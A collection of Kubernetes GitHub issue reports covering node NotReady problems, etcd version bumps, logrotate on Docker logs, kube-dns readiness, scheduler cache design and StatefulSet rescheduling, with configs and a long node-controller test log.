\r centos 7 \r \r kubernetes v1.7.2\r \r master  1\r node    2\r    \r    \r reboot to node service     node = 10.6.0.188  \r \r kubectl get nodes\r \r name         status     age       version\r 10.6.0.187   ready      10d       v1.7.2\r 10.6.0.188   notready   10d       v1.7.2\r \r \r kubectl get pods -o wide\r name                        ready     status    restarts   age       ip              node\r nginx-dm-2214564181-0gz59   1/1       running   0          20m       10.233.182.91   10.6.0.187\r nginx-dm-2214564181-2zxf3   1/1       running   0          1h        10.233.182.90   10.6.0.187\r nginx-dm-2214564181-677db   1/1       unknown   1          1h        10.233.109.89   10.6.0.188\r \r    \r node node can not be recovered\r \r    \r node\r \r kube-proxy is ready\r \r kubelet  is  ready\r \r    \r how to restore the node\r

cmd/kubelet and cmd/kubeadm are both depended on in pkg/. pkg/ should not depend on cmd/\r \r @kubernetes/sig-node-bugs \r @kubernetes/sig-cluster-lifecycle-bugs

we have upgrade etcd to 3.2.13 in https://github.com/kubernetes/kubernetes/pull/57480 and https://github.com/kubernetes/kubernetes/pull/57230 for kubernetes 1.10.x\r \r in etcd 3.2.14, there is one fix which  fixed a panic during a defrag like below with etcd v3.2.10 under heavy load  larger io wait   https://github.com/coreos/etcd/blob/master/changelog.md v3214-2018-01-11 ，this is a very important fix for a large scale kubernetes cluster which would cause etcd has high load, so it is better to bump the minor version for etcd a bit, from 3.2.13 to 3.2.14 for kubernetes.\r \r /area etcd\r     \r /cc @kubernetes/sig-cluster-lifecycle-misc @kubernetes/sig-scalability-misc @kubernetes/sig-api-machinery-misc @timothysc \r

here is my test-pvc.yaml file:\r  \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r  name: openebstest-claim\r  annotations:\r    volume.beta.kubernetes.io/storage-class: openebs-standard\r spec:\r  accessmodes:\r    - readwriteonce\r  resources:\r    requests:\r      storage: 20g\r \r i delete the deployment manually ! then replicaset deleted successfully

what happened  :\r /etc/logrotate.d/docker-container is configure to rotate log when the maxsize reaches 100m.  logrotate failed to rotate log file with size 100 mb or more causes full disk error.\r \r        /var/lib/docker/containers/ / -json.log {\r           rotate 3\r           maxsize 100m\r           daily\r           compress\r           missingok\r           delaycompress\r           copytruncate\r        }\r      \r   what you expected to happen  :\r log should rotate based on the docker-container config to manage the log from filling up the host disk-space.\r \r   how to reproduce it  as minimally and precisely as possible   :\r install k8 v1.9.5, configure the /etc/logrotate.d/docker-container from above\r \r   anything else we need to know?  :\r from the current active log file size 4 gb and the one that was rotated at 9 gb well above the conf file setting of 100m. \r \r \t\t-rw-r----- 1 root root 4292812419 sep 12 15:29 822fcc16d40cf965c2b257f31b2c3838e00479b2495381436c868e05195d7d0f-json.log\r \t\t-rw-r----- 1 root root   54214280 sep 11 03:24 822fcc16d40cf965c2b257f31b2c3838e00479b2495381436c868e05195d7d0f-json.log-20180911.gz\r \t\t-rw-r----- 1 root root 9633487759 sep 12 03:29 822fcc16d40cf965c2b257f31b2c3838e00479b2495381436c868e05195d7d0f-json.log-20180912\r \r from my understanding if 'maxsize' is used it will get detected then rotate the log and the time interval gets ignored.\r \r ultimately, the docker-container conf is to rotate every day, unless the size exceeds 100 mb rotate immediately.  can someone provide some insights?  thanks in advance.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.5\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : centos 7.5\r - kernel  e.g.  uname -a  :  3.10.0-862.3.3.el7.x86_64\r - install tools: kubeadm\r - others: docker 1.13.1-cs9\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r    @kubernetes/sig-network-bugs\r \r   what happened  :\r   occasionally, one of three kube-dns pods are not running as follows. \r \r | namespace   | name                                                    | ready | status  |\r |---------------|--------------------------------------|--------|----------|\r | kube-system   | pod/kube-dns-7566b4f88b-4vqw5  | 2/3       |  running |\r \r   what you expected to happen  :\r   i wanted to expect that all of three kube-dns pods are successfully running as follows.\r \r | namespace   | name                                                    | ready | status  |\r |---------------|--------------------------------------|--------|----------|\r | kube-system   | pod/kube-dns-7566b4f88b-4vqw5  | 3/3       |  running |\r \r   how to reproduce it  as minimally and precisely as possible   :\r   this is an occasional issue.\r   therefore, it is hard to be reproduced.\r \r   anything else we need to know?  :\r   i am using kubernetes 1.10.5\r   among three containers  kubedns, dnsmasq, sidecar , you could find the following error message.\r    bash\r $ kubectl -n kube-system logs kube-dns-7566b4f88b-4vqw5 -c kubedns\r \r $ kubectl -n kube-system logs kube-dns-7566b4f88b-4vqw5 -c dnsmasq\r \r $ kubectl -n kube-system logs kube-dns-7566b4f88b-4vqw5 -c sidecar\r i0925 23:30:29.158874       1 main.go:51  version v1.14.8.3\r i0925 23:30:29.159297       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r i0925 23:30:29.159329       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r i0925 23:30:29.159375       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r w0925 23:30:29.159729       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:38489->127.0.0.1:53: read: connection refused\r \r sometimes, you could find the following message.\r w0925 12:38:52.621962       1 server.go:64  error getting metrics from dnsmasq: dial udp 127.0.0.1:53: i/o timeout\r \r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.5+coreos.0\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : centos linux 7.1706  core \r - kernel  e.g.  uname -a  : linux 3.10.0-514.26.2.el7.x86_64\r - install tools: go1.9.3, gc\r - others: linux/amd64\r

description:  \r  nodetree , part of the  pkg/scheduler/internal/cache  is exporting a  numnodes  field which allows to modify its value externally. this also means that this field is not thread-safe.\r \r   solution:  \r expose a method that returns this value in a thread-safe way and do not export the field.\r \r  

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r remove equivalence cache from the scheduler code base.\r \r   why is this needed  :\r the equivalence cache  ecache  was added to the scheduler as a mechanism to improve performance of running predicate functions. the equivalence cache stores the results of predicates for pods and as long as conditions of a node are not changed, it uses the cached results for pods which have the same scheduling requirements.\r while on paper, this should have improved performance of the scheduler significantly, in practice it  slowed the scheduler down  https://github.com/kubernetes/kubernetes/issues/63784  for many common scenarios. the reason turned out to be lock contention, and accessing a three-level cache which was sometime slower than running the predicates themselves.\r we then tried to  optimize the locking mechanism  https://github.com/kubernetes/kubernetes/pull/65714 . it helped improve performance over the previous implementation, but it was still  causing slow down  https://github.com/kubernetes/kubernetes/pull/65714 issuecomment-410016382  compared to the scheduler without ecache, for pods that didn't have complex scheduling requirements. it  improved performance for pods with inter-pod affinity/anti-affinity  https://github.com/kubernetes/kubernetes/pull/65714 issuecomment-410102800  though. this was before we added further optimizations that improved performance of affinity/anti-affinity by 5x. so, performance improvements for affinity/anti-affinity is much smaller now, but it is still significant enough to consider having ecache. however, it turned out that ecache complicates our code base much and invalidating the ecache at various events turns out to be error prone and makes building some of the new scheduling features harder. for example, ensuring that dynamic volume binding works with ecache proved to be non-trivial. as a result we have decided to remove the current implementation of ecache.\r \r our plan is to redesign the equivalence cache with a different mechanism to ensure that the scheduler does not keep retrying scheduling a large number of equivalent pods after it finds one of them unschedulable. when one pod is determined unschedulable, all other equivalent pods will be unschedulable as well. so, the scheduler can save cpu cycles and try other pods.\r \r <!-- do not edit below this line -->\r  \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r when node is powered off, statefulset pods go into terminating state but the pods don't get delete  which is the expected action according to @huang-wei in https://github.com/kubernetes/kubernetes/issues/72226  and those pods don't get rescheduled on another ready node.\r   what you expected to happen  :\r when node is powered off, the pods of a statefulset should be reschedule to another ready node.\r   how to reproduce it  as minimally and precisely as possible   :\r create a statefulset using the below yaml file\r    yml\r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r   labels:\r     app: nginx\r spec:\r   ports:\r   - port: 80\r     name: web\r   clusterip: none\r   selector:\r     app: nginx\r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: web\r spec:\r   servicename: \ nginx\ \r   replicas: 3\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: k8s.gcr.io/nginx-slim:0.8\r         ports:\r         - containerport: 80\r           name: web\r    \r stop/delete one of the nodes running one/more of the pods\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t20:56:12z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux ip-10-96-24-27 4.4.0-1075-aws  85-ubuntu smp thu jan 17 17:15:12 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r    \r have seen couple of issues \ similar\  to this issue on github regarding this but nothing of them seem to have been resolved, only closed without resolution due to inactivity in most cases : \r https://github.com/kubernetes/kubernetes/issues/57838\r https://github.com/kubernetes/kubernetes/issues/61263\r    \r

this is my cmd, thanks all! os_auth_url= kube_race=-race kube_cover=y kube_goveralls_bin=/home/jenkins/tools/org.jenkinsci.plugins.golang.golanginstallation/go_1.5.3/bin/goveralls kube_timeout=-timeout 300s kube_coverprocs=8 kube_test_api_versions=v1 kube_test_etcd_prefixes=kubernetes.io/registry ./hack/test-go.sh -- -p=2  ok      k8s.io/kubernetes/cmd/kube-proxy/app    1.057s  coverage: 14.0% of statements --- fail: test  0.01s      master_test.go:104: unexpected number of changes: 0 fail coverage: 63.2% of statements  ok      k8s.io/kubernetes/pkg/controller/job    1.663s  coverage: 64.8% of statements i0205 01:14:26.074961   18057 nodecontroller.go:121  sending events to api server. i0205 01:14:26.076685   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller e0205 01:14:26.077140   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b42660a9e5\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:76330469, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:76330469, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b42660a9e5\  not found'  will not retry!  i0205 01:14:26.078690   18057 nodecontroller.go:121  sending events to api server. w0205 01:14:26.079431   18057 nodecontroller.go:624  missing timestamp for node node0. assuming now as a timestamp. i0205 01:14:26.079630   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller e0205 01:14:26.080472   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b4268e2d7f\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:79313279, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:79313279, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b4268e2d7f\  not found'  will not retry!  i0205 01:14:26.081191   18057 nodecontroller.go:121  sending events to api server. w0205 01:14:26.081815   18057 nodecontroller.go:624  missing timestamp for node node0. assuming now as a timestamp. i0205 01:14:26.082210   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller i0205 01:14:26.082333   18057 nodecontroller.go:454  evicting pods on node node0: 2015-01-01 13:00:00 +0000 utc is later than 2015-01-01 12:00:00 +0000 utc + 10m0s e0205 01:14:26.082319   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b426b34956\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:81745238, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:81745238, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b426b34956\  not found'  will not retry!  i0205 01:14:26.083073   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'deletingallpods' node node0 event: deleting all pods from node node0. e0205 01:14:26.082952   18057 event.go:246  could not construct reference to: '&api.pod{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ pod0\ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, spec:api.podspec{volumes:  api.volume nil , containers:  api.container nil , restartpolicy:\ \ , terminationgraceperiodseconds: _int64  nil , activedeadlineseconds: _int64  nil , dnspolicy:\ \ , nodeselector:map string string nil , serviceaccountname:\ \ , nodename:\ node0\ , hostnetwork:false, hostpid:false, hostipc:false, imagepullsecrets:  api.localobjectreference nil }, status:api.podstatus{phase:\ \ , conditions:  api.podcondition nil , message:\ \ , reason:\ \ , hostip:\ \ , podip:\ \ , starttime: _unversioned.time  nil , containerstatuses:  api.containerstatus nil }}' due to: 'selflink was empty, can't make reference'. will not report event: 'nodecontrollereviction' 'marking for deletion pod pod0 from node node0' e0205 01:14:26.083110   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b426c32a9e\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ deletingallpods\ , message:\ node node0 event: deleting all pods from node node0.\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:82785950, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:82785950, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b426c32a9e\  not found'  will not retry!  i0205 01:14:26.084171   18057 nodecontroller.go:121  sending events to api server. w0205 01:14:26.084795   18057 nodecontroller.go:624  missing timestamp for node node0. assuming now as a timestamp. i0205 01:14:26.084847   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller e0205 01:14:26.084972   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b426e052f8\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:84696824, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:84696824, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b426e052f8\  not found'  will not retry!  i0205 01:14:26.088051   18057 nodecontroller.go:121  sending events to api server. i0205 01:14:26.088883   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller e0205 01:14:26.089061   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b4271d307f\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:88685695, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:88685695, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b4271d307f\  not found'  will not retry!  w0205 01:14:26.090297   18057 nodecontroller.go:624  missing timestamp for node node0. assuming now as a timestamp. i0205 01:14:26.090487   18057 nodecontroller.go:463  evicting pods on node node0: 2015-01-01 13:00:00 +0000 utc is later than 2015-01-01 13:00:00 +0000 utc + 9m20s i0205 01:14:26.090848   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'deletingallpods' node node0 event: deleting all pods from node node0. e0205 01:14:26.090959   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b4273cbd70\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ deletingallpods\ , message:\ node node0 event: deleting all pods from node node0.\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:90753392, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:90753392, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b4273cbd70\  not found'  will not retry!  e0205 01:14:26.091122   18057 event.go:246  could not construct reference to: '&api.pod{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ pod0\ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, spec:api.podspec{volumes:  api.volume nil , containers:  api.container nil , restartpolicy:\ \ , terminationgraceperiodseconds: _int64  nil , activedeadlineseconds: _int64  nil , dnspolicy:\ \ , nodeselector:map string string nil , serviceaccountname:\ \ , nodename:\ node0\ , hostnetwork:false, hostpid:false, hostipc:false, imagepullsecrets:  api.localobjectreference nil }, status:api.podstatus{phase:\ \ , conditions:  api.podcondition nil , message:\ \ , reason:\ \ , hostip:\ \ , podip:\ \ , starttime: _unversioned.time  nil , containerstatuses:  api.containerstatus nil }}' due to: 'selflink was empty, can't make reference'. will not report event: 'nodecontrollereviction' 'marking for deletion pod pod0 from node node0' i0205 01:14:26.095269   18057 nodecontroller.go:121  sending events to api server. i0205 01:14:26.096722   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller e0205 01:14:26.097187   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b4278c7e61\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:95980129, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:95980129, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b4278c7e61\  not found'  will not retry!  i0205 01:14:26.098417   18057 nodecontroller.go:121  sending events to api server. i0205 01:14:26.099541   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller e0205 01:14:26.099471   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b427bb007f\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:99028095, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:99028095, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b427bb007f\  not found'  will not retry!  i0205 01:14:26.100540   18057 nodecontroller.go:121  sending events to api server. w0205 01:14:26.101708   18057 nodecontroller.go:624  missing timestamp for node node0. assuming now as a timestamp. i0205 01:14:26.101952   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'registerednode' node node0 event: registered node node0 in nodecontroller i0205 01:14:26.102377   18057 event.go:206  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : reason: 'nodenotready' node node0 status is now: nodenotready i0205 01:14:26.102710   18057 nodecontroller.go:121  sending events to api server. e0205 01:14:26.102330   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b427e22a11\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node node0 event: registered node node0 in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:101594641, loc: _time.location  0x13de020 }}, lasttimestamp:unversioned.time{time:time.time{sec:63590231666, nsec:101594641, loc: _time.location  0x13de020 }}, count:1}': 'event \ node0.142fe6b427e22a11\  not found'  will not retry!  w0205 01:14:26.103230   18057 nodecontroller.go:624  missing timestamp for node node0. assuming now as a timestamp. e0205 01:14:26.103252   18057 event.go:188  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node0.142fe6b427e961b1\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc: _time.location  nil }}, deletiontimestamp: _unversioned.time  nil , deletiongraceperiodseconds: _int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node0\ , uid:\ node0\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ nodenotready\ , message:\ node node0 